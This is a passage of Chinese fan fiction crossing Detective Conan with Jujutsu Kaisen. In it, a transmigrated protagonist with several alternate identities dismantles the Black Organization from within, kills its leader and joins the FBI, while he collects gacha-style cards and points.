人们大都从自己的包间中出来了,班克斯夫人也向毛利小五郎道谢了,更是赠予了小兰十分贵重的礼物。就是他们隔间中的小桔子小姐一副恍然失神的模样,她的眼神在人群中逡巡,似是在寻找什么人,但半晌后,她又将目光收了回来,面上露出了深切的失望。 她的经纪人在一边安抚她。 乘警没有在车上找到基德,公安与FBI也没有要逮捕他的样子,只说那不是他们的职责,人们就只好断定他已经逃之夭夭了。“不过是一场风暴,又怎么能难得倒我们的基德大人?”有怪盗迷信誓旦旦地说,这让暗处的某人流落下一滴汗来。 乘警在上门登记个人丢失的财物。柯南在观察着周围所有人,外面的风雨很大,但车厢中人很拥挤,人们都在发泄自己的情绪,希望能从外界找到自身的安全感。毛利小五郎被大家带着要一起往自己的包间去,而就在他们要穿过一列车厢时,有人焦急地从前面的方向奔过来,“猫,你有看到一只白色的猫吗?”他急切地问。 被拦住的人先是恼怒,但紧接着,他的面上就浮出了怜悯,在这样混乱的情况下,一只猫走失意味着什么大家都知道,他摇了摇头:“不知道。” 男人面上有一瞬失落,很快,他又重新寻找起来。他来到了柯南他们面前,柯南与小兰一下子就认出了,这是与他们在餐厅中交谈过的风祭野见先生,只见他现在眉头拧紧,衣着与发型都十分凌乱,见到他们,他的眼中有一瞬发亮,那是重新涌出的希望:“是毛利兰小姐啊,你们有看见一只白色的猫吗?” “前辈,风祭前辈!”后方有人在气喘吁吁地赶来,他大声道:“外面雨那么大,猫说不定只是躲了起来,你不用那么着急,慢慢找就是了!” 小兰也摇了摇头,她有些不好意思道:“我也没看见,抱歉,风祭先生。” 柯南打量着这个人,这完全就是个被公司压榨的社畜,还是个非常喜爱自己猫咪的独身的男人,倒是他身后的那个人,说不定还有一个还算良好的家室。 他将视线偏向一边。灰原哀正冷静地站在一旁,见他望来,她有些不明白:“猫?我没看见什么猫。” 风祭野见的眉毛一下子耷拉了下去,他神情黯然,强笑道:“没关系,我再去找找就是了。” 小兰很同情他。只是可惜,她现在还有自己的事要做,无法空出时间来帮助他,她只好道:“或许你可以去向乘警求助。” “我已经说过了,他们说会帮我关注一下。”风祭野见道。他没有多说,就继续去问下一个人了。三轮未海也注意到了他们,尴尬地冲他们笑了笑,就又跟随上去。 +108 不如他想象中的多。主角这一行人,是因为从前就见过了灰猫“宝石”,所以换成了“白猫”,依旧是同一只猫,就不能再给出“初见值”么?这数量是他们所有人给予自己与猫猫两人的共同日常值。 想钻空子,结果没成功。风祭野见也不失望,继续扮演着一位担心自家猫猫的铲屎官。就是三轮未海对此有些一言难尽,他无法理解这位大人的脑回路,但他只能尽全力去配合。 +33 又一个数字跳出来。风祭野见只稍稍想想,就明白了,这大致是唯一没有见过白猫的赤井秀一为自己送过来的。他们一直都在监视自己,一句话都没有遗漏。 风暴小了以后,救助的车辆很快就到了,在最后的最后,柯南终于看到了一抹白色,它好似就站在车厢的高处,正静静地看着他们所有人走远。但等柯南仔细再一看,这抹白色又完全消失不见,宛如他的一个幻梦。 “柯南!”小兰姐姐在唤他了,他连忙回应着跑过去,将刚才的幻觉抛到了脑后。 这次的列车外出旅游就这样结束了,作恶的人都得到了惩罚,FBI与公安也得到了自己想要的。但,一切真的就此结束了吗—— 茶色头发的少女轻巧地跃动着,在不小心碰到一个贵夫人之后,她连连诚恳地对其道歉。贵夫人因为刚从大难中逃出,没有为难她,只是让她小心一点。“少女”哼着歌离去,身后传来夫人惊喜的呼声:“宝石!我的‘路易斯之心’又回来了!” “少女”面上带上了笑,“她”的挚友在前面担忧喊她:“……不要乱跑,园子,这里人很多,大家情绪都不好……” “没关系的啦!”“她”比心道:“我都能一觉将这次的事件睡过去,你要相信我园子女王大人的幸运值!” 风祭野见带着三轮未海依旧朝着一个组织的训练基地而去,他随身携带的一个古老的盒子中,一个断指在散发出莫名的波动。 裴真在天野侦探社中细数着后来又得到的声望值—— “……幸好此辆列车停靠的是飓风的外围,列车长与司机的当机立断,让他们没有冲入风暴的中心,这避免了车上人遭受更大的损失,甚至影响到他们的生命……” 列车的大劫案传回了日本,在国内引起了轩然大波,在国际上也造成了重大的影响。日本国的首相不得不再次站出来,对于这次的事件给出安抚与赔偿,人们情绪汹涌,呼啸着要让一些国家给出解释。由此,那边国家的旅游事业遭受到了极大的打击。 琴酒在最后给风祭野见和望川涉分别贡献出了,+82与+32的光点。赤井秀一也给出了+56与+31的数量,看样子他确实很警惕他们。 总数是976。刚刚空下的融液圆球又一次被填满,就像裴真再次充盈的心。他慢慢地勾勒出一抹笑。就是白银抽卡需要的数目过大,他又太需要[身份]和[时装]卡了,这让他无法将数值积累下去,这也是个遗憾。 但没关系,事情总是要一步一步来的。而现在,他也算是情况好了起来。 他调换了一个台,欣赏起一位歌手的献唱。 “什么?”小兰满眼震撼,她握住自己闺蜜的双肩,使劲摇晃着道:“你说你这些天都是在新西兰帮你的叔叔照顾葡萄,根本没和我们上那趟列车!” “是啊,”铃木园子挠了挠脸:“我还喝了前一年酿出的葡萄酒,与大家拍了照片,喏,这些就是,你看看。” 她拿出一叠照片,照片上的她笑得很灿烂。小兰双眼中转出了圆圈:“那车上的‘园子’是哪来的……” 呵呵,还能是哪来的,柯南虚着眼。你扮演我们身边人还真是越来越熟练了,基德! 不过,也算你做了一件好事。又想起车上发生的事,柯南不禁神色沉重下来,异能、超越者,怪物、黑衣组织,还有傀儡师和那个暗中的人……接下来会步入何处呢? 柯南不得而知。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 黑衣组织中的反叛 列车事件的结束, 不代表着一切事情的结束。 柯南以为这就已经算是给予了黑衣组织重创了,但其实,有些人想要的, 远远不止这么点。 美月小鸟有些疲累地接过电话,随着电话那头人的叙说,她眼中的神光慢慢亮了起来, 她呼出口气,神情轻松中, 又带着一丝黯然。 伊安森·莱格就在她的身边,他不动声色地问:“成了?” 美月小鸟点了点头, 她道:“是的,车上的人都要回来了, 里面没有琴酒。” 伊安森又问:“长濑花呢?” 美月小鸟垂眸, 她叹息道:“长濑姐姐她……”她摇摇头。 “砰!”是伊安森一拳“不慎”砸在了桌子上, 他从牙齿缝里吐出字道:“不是让FBI和公安都出动了吗?这么多人,还奈何不了一个琴酒?” 美月小鸟道:“她一直坚持到了最后,不肯退下来。” “她是个傻子吗?”伊安森忍不住惊叫道:“让那两方的人过去, 不就是为了‘容错率’高吗?” 美月小鸟说:“谁也不知道她是怎么想的。但这是她的选择, 我们唯有尊重。” 伊安森深深地看了她一眼, 没有再说什么, 将失态收起来,转身就朝着装备室走去。他想要去进行下一场狩猎了。此时唯有那些人的血才能发泄出他心中的愤怒。 美月小鸟望着他的背影, 想了想, 又拨通了一个电话。 黑暗中,有人在徐徐说话:“琴酒他们几个没有回来。” 一道明显是机械合成的苍老声音回道:“他们去了几个?” “去了十九个, 代号成员有六个,还包括没有接下这个任务的哥连士酒和一个刚加入的新孩子, 另一个是科恩新带的成员,也是一尊新酒,没有人回来。有FBI和日本公安活动的痕迹。” 苍老的声音咳嗽了下,像是一台老旧的留声机在卡顿,他平静道:“潜伏进去的人怎么说?” “都是精英,我们的人只有两个,他们有想办法向组内传回来消息,但被人截停了。那种天气塑造出了一个牢笼,让很多事都办不到。” “咳咳咳咳咳,”苍老的声音更沙哑了,他道:“我们自己这边也出现问题了吗?” “是的,出了很大的问题,”先前的人停顿了下道:“有很多人……反叛了。” “都是哪些人?”苍老之声不紧不慢,听不出喜怒。 “很多,”那人回答:“有数百人。代号成员也有几位。” “怎么会有那么多?”苍老之人也忍不住惊异了,但很快,他就沉声道:“组织中的定时检测是怎么做的?为什么会有那么多例外?” “BOSS,”先前人艰难说:“我们一直实行的,都是最严密的人身与精神的双重控制,只要有苗头,就会毫不犹豫地将人解决掉,但这些人,他们是织成一张网的,他们中除了一部分,有很多人都是有把柄在上面人手中的,而没有把柄,也会有人创造出把柄再将他们纳入,并且通常这种把柄都是对于组织有害的。他们中是不存在首鼠两端的。” “他们中最长的一位是被设局了三年,才在前年里的一次关键任务失败后被收下。而一旦加入了,就会有人来为他们掩饰包庇,在此之后,他们也有责任为其他的人打开保护伞,很多人都是因此得以苟延残喘的。甚至有一小部分人为此对他们产生了感激……” “开什么玩笑!”BOSS也终是压不住情绪了,他道:“这就是他们在我的组织里能结成瘤的因由?” “当然,”先前的人还说:“他们也一样会处理背叛的人。并且他们的手段更敏锐迅捷,凌厉且冷血。一旦发现了苗头,就会有人借着任务,无声无息地直接干掉他们。事后还会做出一份报告,务必让上面什么也看不出来。” 通讯对面的人“呼哧”了好一会。 “以上,”汇报的人也感到难以置信,他涩声道:“这就是我在‘审讯’完一位背叛者后得到的讯息。” 通讯器中好一会都没人说话,这沉默是如此的难捱,报告的人都感到自己背上密密麻麻俱是死神的注目。 “想不到我的组织里,还能出现一个这样的人才,”BOSS又恢复了平静,他道:“朗姆告诉我,组织中出现了一个‘幽灵’,之前我还有点不敢相信。看来,我是被组织这些年的良好发展给迷惑了,让人遮蔽住了我的眼睛都不知道。” “BOSS,”汇报的人说:“我们现在该怎么办?” “FBI不是想要我们的地盘吗?”BOSS过分冷静道:“那就给他们好了,只是,”他的口气转厉,充满了严酷的残忍与狠辣:“他们想要,就该要付出相应代价!至于剩下的,”他叹道:“就先收缩起来,一些无用的基地和研究所可以抛下,只留下核心的一部分。” 这次的黑衣组织绝对是伤筋动骨了,只能说,任何组织若是内部产生了反叛,这绝对是它们步向末途的一个最重要因由。这可比什么卧底和外部打击来的有用的多,堪称是用自己的力量来打自己的典范。 “是,BOSS。”汇报人恭敬道。 他叹息一声,他没有说,BOSS估计也知道,在行动之前没有消息传来,说明那些潜伏进FBI和公安中的卧底如果不是被解决了,大约就是全员反叛了。 真是好手段啊,他也不由惋惜,这幕后的人真是将一切都算到了极致,就像是一只默默织网的蜘蛛,不发一言,却将所有能利用的人都锁在了身边,不动时毫无声色,一动就宛如闪雷。只是想一想,就觉得骇人。 最起码到了现在,他也不知道,这之后的幕后主使人,究竟是谁。绝对是有一个主导一切的人物的,否则的话,他们是不会这样有秩序的。 这正应证了风祭野见在卡面上说过的一句话:“如果一个人下定了决心要隐藏自己,那他就必然不会因为一些莫名其妙的事而暴露。” 那些因为一些鸡皮蒜毛的事步入险境,再一步步将困境越弥补越大,之后不得不暴露在某些人面前的,他只能说,“你们玩的挺有趣”。 组织对派入敌对势力中的人审查很严格,不仅要求出身不沾一点白,还要求他们对组织有最高的忠诚度。因此,他们在这一项上很是花费了大力气,才有了一点起色,幸好他们更新换代的频率也很快,才让他们一点一点将更多的人换成了自己的。 伊安森·莱格就是其中的典型。而美月小鸟,却是当中的例外。 她是凭借自己考入FBI的。 她与黑衣组织的纠葛,也不是陷入其中的花,而是真真切切的仇人。 她的一家是在一场大火中丧生的,那一场火,便是组织的人为了灭口放的。她原本也该是火场中死去的一员。但是…… 她的回忆步入到十多年前,那是一场燎原的火,它蔓延得速度如此之快,很快就将整栋房子点燃了,它蓬勃发展,在数具的尸体和木质的结构上肆虐欢笑,犹如一个猖狂的魔鬼。 美月小鸟缩在房屋的柜子中,柜子的缝隙外,就是她父母死去后的尸体,她捂住嘴,不敢发出一丝声音,也不敢动,高温炙烤得她晕眩,她仿佛又见到了自己的父母。 但不是。“唰”的一声,柜门被打开,站在她面前的,是一个只比她高出一个头的少年,美月小鸟迷糊记得,他好像是跟在那群人最后面的一个,就是他们,杀死了自己的爸爸妈妈—— 我也要死了么。美月小鸟这样想。 但那人迟迟没有动手。美月小鸟艰难地抬起头,她看到了他那张全无表情的脸,他就这样望着她,没有任何动作。好奇怪啊,这个坏人难道不会笑么,她这般想。 有火焰在他的眼瞳中恣意摇曳,他的身后是坠落下的房梁,和噼里啪啦木头爆燃的声音。他看着她,似乎是在思考着什么。 这个时候他想了些什么呢,之后的美月小鸟一直想知道。 良久,他躬下身来,将她抱了出来。 美月小鸟不自主地抓紧了他的衣服,他的怀抱冰冷又温暖,是她在这场噩梦中唯一能抓住的。他带着她,在火场中飞快奔跑,避开了一个个的险境,直到他们呼吸到了凉夜里第一口的清新空气。 他将她带了出来,从那座即将要化为灰烬的房子中。简而言之,他救下了她。 出来后,他的脚步重新慢了下来,就像他这个人,永远如此的沉稳与莫测。她透过他的肩膀回首望去,见到身后的火光弥漫了大半个天际,那里是自己所有的过去。她又侧过头望他,见到他的侧颜依旧平静无波,就像是救下她,并不是一件多难理解的事。 再然后,就是他们的分别了。美月小鸟侧过身,躲在一处拐角的墙后,这是一场格外艰难的攻坚战,组织将所有剩下的势力都聚集在了这里,来面对FBI的破点打击。她的心绪很平静,她知道,这就是她一直在等待的那天。 她转过身,抓紧了一个时机,目光坚定如剑,一枪就打死了一个穿着黑衣的组织成员。 “还没有成果吗?”一处绝密的研究所中,穿着白大褂的博士正在飞速地收集着一些资料,听见人问,他抬起头,看见了屏幕上显示的图标,是BOSS。他慌张道:“咒灵的研究很难推进,这是一种纯粹由能量聚集成的生物,按理来说,是不应该生成的,再加上平常人又看不见它们,这给我们的研究造成了很大的麻烦……” “我只要成果!”对面厉喝。打断了这个秃顶的博士胡乱的话,他被吓了一跳,之后赶忙道:“人类咒灵化是一个很麻烦的专题,我需要更多的实验体,如果有上次那个银发男那样的强度就更好了,他的精神力度绝对有几率让他从咒化后清醒过来。还有咒术师,这些人是咒灵的死敌,如果能让我研究一两个的……” “够了!”屏幕后面的人染上了烦躁,失去琴酒让他断掉了一条最有力的臂膀,让他很多事都无法做成。“那截断指呢?”他问:“你又有什么收获?” 博士闻言惭愧道:“在不破除封印的情况下,我只能说,它就是一根干瘪的枯指,但是我能够检测到,它的外表下,潜藏着一股巨大的能量,那很像是精神的能量,我大胆猜测,它其实是活的,”他的双眼发亮,那是求知的光芒:“是的,那根手指是活的,比我们所有人都更具有活性的能量……” “砰!”外面传来巨大的爆炸声,博士有些遗憾地停下话,将最主要的资料和研究财产抱起,他急忙道:“如果您能更早将它送来就好了,现在我必须要走了……”他匆匆忙忙地想要通过另一条秘密的通道逃走,身边是组织派来的监视也是保护他的人。 但他没来得及赶出去,因为来的人速度太快,简直是所向披靡,组织外面设下的防备对他就像是纸糊的一样。他宛如流星赶到,高高在上,目无余子:“走,你要走到哪里去?” 保护他的人连忙冲着他开枪,但子弹却像弹到了一道无形的罩子上,在他的身前纷纷摔落而下。“怎么可能?”组织的人不敢置信,心中恐慌涌上,面上突显恐惧。 第82章 命运天平上的执掌者——风祭野见 “真是让我好奇, ”来人是一个穿着一件黑色立领制服外套的青年,他身形修长,双手随意地插在裤兜里, 银色的头发张扬得立起,双眼处被一副黑色眼罩束起,他肆意地笑着:“就凭你们这些人, 也想要研究两面宿傩吗?” 枪械已经无用,习惯了用武器来面对敌人的黑衣组织中的人宛如失去了一直以来穿在身上的壁垒, 他们中有人大声地叫着:“不可能没用的!”并再次举起了枪。数秒后,他恐惧地瘫倒在地上:“你到底是个什么东西?” 那一瞬, 强大的含义在他的心中被彻底颠覆了。青年依旧是笑着道:“真是失礼啊,你们的领头人不是说过了吗?”博士心中一刹那生出了不好的预感。青年低头, 微微掀开一丝面上的眼罩, 就像是被什么极可怕的东西给盯上, 博士的手脚都僵硬住了。 下一霎,上面的人陡然消失,一个幽幽的声音在他耳边响起, “我就是你所说过的……咒术师啊。” “啊啊啊啊!”基地中尖叫刺穿苍穹。 几分钟后, 一只鞋子踩踏在倒了一地人身体旁边的地板上, 来人弯下腰, 将一个密封得很严实的盒子捡了起来,稍微检查了下, 没发现遗漏, 他语气轻松道:“嗨嗨,两面宿傩手指, 二十分之一,Get★daze(我得到了)!” 自顾自地做了一个收服宝可梦的架势, 见没人搭理,他很快就泄了气。随即将视线转移到还亮着的屏幕上去,他收敛了神情,语声低沉道:“那么,这位先生,能否告诉我,两面宿傩的手指,你们又是从哪里得到的呢?” 没有人回答,屏幕立刻就熄灭了。显然,对方选择了避而不谈。青年愣了下,嘴角的弧度上弯:“这是……逃走了?” 对方逃了也没办法,青年“啧”了一声,有些不爽。没有彻底解决这件事,就像是喜久福吃到了一半突然掉到了地上一样,总觉得难受。最后再检查一番这个组织里的一些资料,他若有所思:“原来是一个普通人里的大型黑暗组织啊。” “就像是电视剧里的幕后反派一样。”他随意地做了个总结,抬脚就要往外面走,“不过,”他稍微摸了下头脑:“还是有哪里不对的样子。” “我该不会是,”他抱臂思索,十分不确定道:“……被算计了吧?” 日本公安在半个小时后才姗姗来迟,他们来的时候,青年早已远去,散落一地的资料表明着他根本不在意这些。博士与枪手都躺倒在地上,公安们毫不费力地就得到了一位组织中的重要研究人物,并解决了组织在日本中最大的秘密研究基地。他们面面相觑,非常不解。 全世界除了FBI与日本公安,还有其它很多的官方组织,也在同一时间对国内的黑衣组织进行着严厉的扫荡,他们仿佛早就知晓了组织据点的分布图,行动迅速又精准,获得了从未有过的、不菲的成果。 半年后,一系列的行动也终于开始慢慢降下温来。在这场扫恶中,黑衣组织遭受到了前所未有的打击,他们分别丢失了北美洲和亚洲中绝大多数的势力,实力萎缩到了一个岌岌可危的地步。 但到底还没有彻底剿灭。如这样的组织,只要没有捕捉到首领,哪怕逮捕了全部的中层和一部分的高层,日后也有一定几率死灰复燃,重新恢复过来。 寇当穷追不舍,直至灭尽他们最后一缕火苗。 再也没有比现在更好的情势了。 一处秘密的场所中。外面是不知道多少道的检测机关,里面是一片黑暗。显然,这里的主人不喜欢开灯,他更习惯这样安谧的黑色。 “出生于鸟巢的小鸟,为什么要奔向猎人的怀抱?”有人在轻轻哼唱,他的身形佝偻,拐杖被放在一边,坐在躺椅上,慢慢地摇晃着。 “那未知的风暴会撕裂你娇小的身躯,将你的血肉与羽毛撒向长空。 乌鸦啄食你幼嫩的内脏,孩童捡起你洒落的羽毛,高兴地要做成一件新年的衣裳。 泥沼困住你,陷阱吞食你。可这些仍然不够,我还要诅咒你, 你的灵魂要被钉死在痛苦之柱上,让地狱的毒虫啃食千千万万遍,永远不会有尽头!” 这道饱含恶意的嘶哑的歌声在通道中不断回响,让这原本就寂静的环境更增添了一抹阴森,令人不由为之胆寒。 而在更外面的地方,一场交战蓄势爆发了。 基地一方领头者是一位长金发的女性,她身姿窈窕,肌肤细腻,高挺的鼻梁下,是一张涂抹了鲜红色口红的饱满的唇。她眼神冷酷中透着犀利,正直直地注视着基地中的外来者。 “咳咳,”她似乎负了伤,但手中的枪仍在对着对面的人,她笑着道:“一群从组织中走出的小崽子,居然还有反噬父母的一天。” 美月小鸟说:“你们所做的事,注定会迎来这一天。” 伊安森·莱格道:“我宁愿出生在垃圾堆里,也不想有那样的父母!” 一位穿着武家服饰的少女握着刀说:“你们怎样对我们,我们就怎样对你们。这只不过是对等的报复。” “哈哈哈哈!”女人大笑道:“好,这也确实是我们应该有的结局!我早就该想到了,违逆命运的人,能有什么好下场!” 美月小鸟皱紧了眉,伊安森一脸厌恶,最后只有少女说:“我不知道你说的是什么命运,我只知道,自我出生以来,你们就是我的命运。” “斩了你,就是我对命运最好的报答!” 外面的战斗再次爆发了,而另一处,风祭野见却是与那位在剧情中,只出现过一抹剪影的组织的神秘BOSS相见了。 他并不畏惧于见这位BOSS,又或者说,他不会因为动漫迟迟没有交代他的资料,也没有确定他的死期,就一直拖着不解决他。如果他是这样一个人,他就不会专门为琴酒设下那样一个圈套,也不会选择去接纳那么多在原剧情中连一个名字都没有出现过的炮灰人物了。 剧情可以当做他的依靠,但不能成为桎梏住他的东西。若是因为从未见过,所以就畏惧不前,若是因为怜悯其中人物,就无端将所有情感交付其上;出现过的,他笑意吟吟相对,未出现过的,就一丝关注也不给,那么,哪怕他拥有再多的马甲,也只能到这里了。 因为这是个完整的世界,不是他游玩的安乐场。 这个世界有一个无形的圈子,他要既可以走进来,也可以走出去。 想到这里,他停下了脚步。 “咳咳,就是你吗,‘幽灵’。琴酒没有从那辆车上下来,你却完好无损地从那上面下来了,原来你就是这一切的源头啊。”组织BOSS的语音沧桑沙哑,却依旧维持着镇定。 这话之前的贝尔摩德也说过,但她只以为自己是那群体中的一员。那辆列车是一个特意被塑造出来的“无法逃跑”的囚笼,恶劣的天气只是让它连最后的一点空隙都被堵住,里面不仅有能与琴酒匹敌的叛徒黑麦、傀儡师情报商、还有一位看痕迹,能与琴酒打得你死我活的未知者,更据说还有异能者在场……只能说,上了那一趟车,琴酒就注定了无法完好无损地回来。 在这样的谋算下,风祭野见还能平安地抵达基地的训练场,这本就是一件不用思考,便知道不对的事。只是当时,组织陷入了一片混乱,没有人将他与“幽灵”的领头者联系在一起。 组织中人将那群叛逆者们称为“幽灵”,因为他们埋伏了太久,无声无息地扎根在黑暗的黑暗中,就这样一直“陪伴”在他们身边,真是让人想起都觉得惊恐。 风祭野见没有反驳,他只是道:“一些自保的手段而已。” BOSS说:“我记得你,你的父亲是风祭永炎,你的母亲是道莲美,你的代号是从你的父亲那里继承下来的,因为Collins的音译‘柯林斯’他不喜欢,就改成了‘哥连士’,但还没等他正式使用,他就牺牲在了一次组织内部的间谍叛乱中。你在训练场中的成绩是……嗯,最后一名,哈哈,卡得还真是好啊,你们年轻人的心思我还真是不懂……” 风祭野见静静地听着。“咔哒。”是他打开了手枪开关保险的声音。 BOSS的声音稍稍加快了些许:“你知道我建立这个组织是为了什么吗?你可有想要从死亡国度中再度复活的人?你知道人的一生总会有终结的时刻吗?时间的洪流之下,当你年轻的身体染上老朽的病症,手与脚甚至连自己的身体都支撑不起来,你知道那时的我们,会有多么的恼恨与痛苦吗?” “风祭,”他语重心长道:“我当初也和你这般惊才绝艳,我们和所有人都不一样,时光不眷顾我们,是它的错。我们可以自己走出一条路来——” “我们可以做自己的上帝!也能够做世人的魔鬼!我们应当是站在永恒道路上的同行者!你再想想——不——” “砰!”一道清脆的枪响结束了一位老人最后如鸦啼般的嘶鸣声。 而之后,一切归于沉寂。 世界没有因此倒流,也没有因此静止。它依旧是在平缓地向前流动着,由此表明,他并没有他想象中的那么重要。 似乎是知道了这边的动静,那边战斗的响声也很快止息了。风祭野见走出这个基地,外面的气候很适宜,组织的BOSS为自己挑选了个很适合养生的地方。 外面有一架直升飞机在等候着他,一些严阵以待的黑衣人正站在两侧。他一脚跨上直升机,对着身边的人吩咐道:“准备好,等我们的人出来了,就将这个地方全部炸了。” “地上和地下,一点遗漏也不能有。”他说。 特工敬礼:“是,长官!” 他的手机响了,他拿出来一看。 “你真的成为了FBI的高官?他们真的愿意让你加入?”是望川涉。 “为什么不呢,”风祭野见回答道:“我与他们的协议,就是让跟着我的那群人能够洗脱黑色的身份,那其中,还包括了我自己。” “这群人的人数太多了,他们不敢将他们乱放,就干脆将他们统筹起来,将其中的一部分招纳进FBI,本来我们就有人在它里面,现在只不过是让他们的身份也转正了。” “想要自由生活的,就去用一个新的身份。但大多数都没有目标,便被他们一个个地忽悠进去了。有些人适应不了日常的生活,加入其中也是一个选择,真做不下去,这个身份又不是不能辞职,”风祭野见打过去一个微笑的表情:“当然,他们最忌惮的还是我。” “我可以带领他们重建一个新的酒厂……我是在说笑,当初承诺了要改变他们的命运,将黑色涂抹成白色,才是最彻底的翻牌。再加上,我对继续率领他们也没什么兴趣,就干脆放归他们自由了。” “呵呵,你不还是他们的长官么?”望川涉发过来一个蔑视的表情。 风祭野见道:“因为担心我再做出来什么事,所以用高官厚禄来招揽我,甚至还不是普通的位置,是当中的决策层。他们敢给,我为什么不敢收。不得不说,他们考虑了很多,诚意还是很足的,就是不知道,这份诚意能维持多久。” “为什么不说他们是看重你的才能呢?”望川涉说:“不过,他们还真是敢啊,比起我来,光与暗在你的身上,才是真的没有了界限。” “他们为什么不敢,曾经横滨市中也有人洗脱过罪不是吗?FBI只会比他们更没有底线,更何况,我交给他们的那份在组织中的履历,还是非常漂亮,没沾染多少血腥气的。” “组织中的人要是知道,你用他们的存在去换取了一份晋身之阶,恐怕会气疯吧?”望川涉叹道。 “他们已经知道了。”风祭野见意味深长道:“最起码,当我去见那位组织的BOSS的时候,他肯定是知道的。” 然后他就一枪打死了他。 无法想象当时他的心情。他收起了手机,从直升机上眺望着下方的景色,天空一片蔚蓝,气候恰好,风将他额前的发丝吹乱。 在命运的牌桌上,一只手伸了过来,将一张黑牌彻底翻转。 一切在此定格。 第83章 日常中的总结与新的波澜 裴真喜欢这样平静悠闲的生活, 虽然有些无聊,但不会无故闯进他人的犯罪现场,也不会在大街上偶遇琴酒的保时捷车, 然后因为露出异样,就被黑暗组织盯上。 他的侦探社开得不温不火,最近大概是因为抓猫抓得太多了, 在这一带有了名气,还有个小电视台想要过来采访他, 想知道他抓得如此准确快速的原因。 裴真只好将“宝石”猫交了过去,让这个电视台的成员, 拎着笨重的摄像机,跟着它跑了一路。最后, 这些人气喘吁吁的回去了, 数天后, 他收获了27数值的光点。 不是,你们日本的电视台这样无聊的吗?不仅在节目上将它大肆夸赞了一番,还取了个过分夸张羞耻的名号, 让之后的几天里, 柯南他们每一次遇见他, 都是一副欲言又止的表情。 黑衣组织还剩下一点小尾巴有待清扫。BOSS已经被解决, 贝尔摩德也在那最后的基地中被带走,她或许能有另一番际遇;朗姆也快了, 他热衷权力之争, 但权力无法在这最后的时刻保全他自己。地下世界中一番风云浪涌,望川涉在里面攫取了不少利益, 成为了少数的得利者。 风祭野见收到了很多个国家的秘密组织的邀请,其中FBI是最慷慨的, 他倒也没有犹豫,成为了其中一员。他伪装是不喜欢接手不必要的麻烦,之前在黑衣组织中,做出成绩,也只是在为那个不露面的BOSS效力,他不愿意给一个以生死强迫自己训练的人带去利益。那样做是效率最高也最安稳的方式。 而成为决策层,才是更适宜他发挥的位置。 能做得了小人物,说明你心胸宽广,可以容纳得下琐碎万物,不为一时的浮华所惑,本身就足够强大坚韧。但只能做小人物……以上的那些,便都是你自己欺骗自己的借口了。 能够做大人物,才是你才能的另一番验证。不必要躲躲闪闪地活着,权力本身就是另一种维护安全的保障,成为掌权者,才能够守卫更多。 风祭野见去体验另一种生活去了,进行政治上的博弈,未免不是一个新的命运的牌桌。裴真在家里过着日常的生活,他开始在考虑要不要接下一些破案的委托,在一些有关“猫”的羞耻的名号落在自己头上之前。 柯南最近有些忧心忡忡的模样。对于黑衣组织的严厉打击,是各国内最严密的军事行动,他收到消息,已经是事情步入下半部分之后了。他因为列车上的事,有一段时间不愿意联系某位情报商,因为他已经看出了,那辆列车就是一个专门塑造出来的陷阱,可他和他身边的人受到的威胁也是真的,小五郎还在病床上躺了好几个月,这样的被蒙蔽,让他无法接受。 但一转眼间,怎么组织就落到这种地步了呢?解决琴酒,不是你们那一次行动的最终目的吗?到底是谁,将FBI和公安还有更多的势力都拧在了一起,就是为了将组织消灭,你也是与组织有仇吗?柯南一时有些茫然。 还有就是,我要不要继续保密自己的身份;组织败落,有关APTX4869的解药呢? 柯南站在咖啡厅里欲言又止,不知为何,降谷零仍没有辞去这个在侦探社下方小咖啡厅里的工作,在忙碌了一段时间后,他又回到了工作台后,酿造起了新式的咖啡。 看出了柯南的犹豫,降谷零微笑着询问道:“怎么了,有什么话想和我说吗?” 时间正好,外面的阳光投射进咖啡店中,在外围的客人和桌面上,留下一抹灿烂的光晕。赤井秀一在经过一番没日没夜的FBI行动后,接下了过来与日本公安交接的任务,他之前便是负责这片区域的,有过长久的经验。 也是他在接到了一样东西后的放松。他侧着头,喝了一口手中端着的咖啡,看了一会窗外的行人后,将杯子放下,拿起了一边一张绿色的请柬。这是一张不知道什么时候就出现在他身边的请柬,其样式精美庄重,色泽鲜艳富有生机,拿在手里,能感觉到纸张的厚重,上面的描纹精妙入微,措辞简约又不失大气,若不是知道它是出自哪里,他只以为这会是个极高规格宴会的邀请函。 [钨铁·杂物]【永不可弃的请柬】 这是裴真上次在白银级大抽卡时抽出的东西,现在给了新马甲,用在了这里。 赤井秀一面上掠过一抹忧虑,但很快,这样软弱的情感就被他消灭,重新恢复了镇静。这是他承诺过的,他自然不会违背它。 半年的时间足够裴真再收获一番光点了。虽然因为没有什么事,只能从柯南那里持续薅羊毛,他一个星期会去咖啡厅两三次,每次收获不定,但大都有十几到二十多的光数,数量最多的是一次少年侦探社团聚时,有54的总收入。只算这些,他有了一次白银抽卡。 这次抽出的是一张意义不明的卡。 [白银·杂物]【红丝线】 “一截断掉的丝线,像是从什么东西上截下来的。” 人与人之间某种无形的关系,具象化到现实,就是一缕轻盈的线。它们系在人们的手上,另一头隐匿进虚空中。或许两位背离的人之间,丝线是完好无损的,拥抱在一起的人,丝线却是各自隔开的。它们缠绕在一起,就是另一个虚无缥缈的人间。 “如果你不喜欢某个人,就将他伸向你这边的线剪断吧!” 还有上一次风祭野见得到的成就—— 图画徐徐拉开。 【破晓之黎明】[白银成就] “故事的中期,作为幕后对手的反派组织却中途崩塌,这就是命运裁定者的威能吗?” 在这上面,裴真见到了黑衣组织所有重要成员的脸,其中琴酒占据了大部分区域,BOSS只能委屈缩在最后面,依旧是一副乌鸦与老人剪影的模样;而这一次,风祭野见却是出现了两次,一次是在最前面银行职员颓废温和的模样,另一次是在中间所有人的最后面,他一副少年人的体型,与众人有着绝大的隔阂,他伸出手,仰着头,接过一朵从天上飘落下来的红色的彼岸花。由他那里延伸出来的弯曲的路径,将两方人隔开成了两半,奠定了整幅图画最基本的格局。 一张升阶卡Get! 至于之前的点数,在九抽的基础上,他又从BOSS那里得到了110总的数值,还有另一个歌手马甲持续带来的79的进项,他本该足有十一抽,但在这段时间内,偶尔他兴起时,也会试试自己的运气。 得到了一支书写得十分流畅的笔、一根永远不会断裂的裤腰带和一张进入顶尖大学听讲的入场券。 有用的是两张。一个是一副奇怪的素描画,一个是一张厨艺的技能卡。 笑死,他才懒得在家里自己开火呢,他宁愿外出吃食,这样还能碰见一下原剧中的人物,得到一点收获,又或者发挥一下钞能力,聘请一位顶尖的大厨,来依据他的口味定做。最后一张有用也是没用。 这样的手气让他没有再去尝试了。大概是上一次用光了他的好运吧。 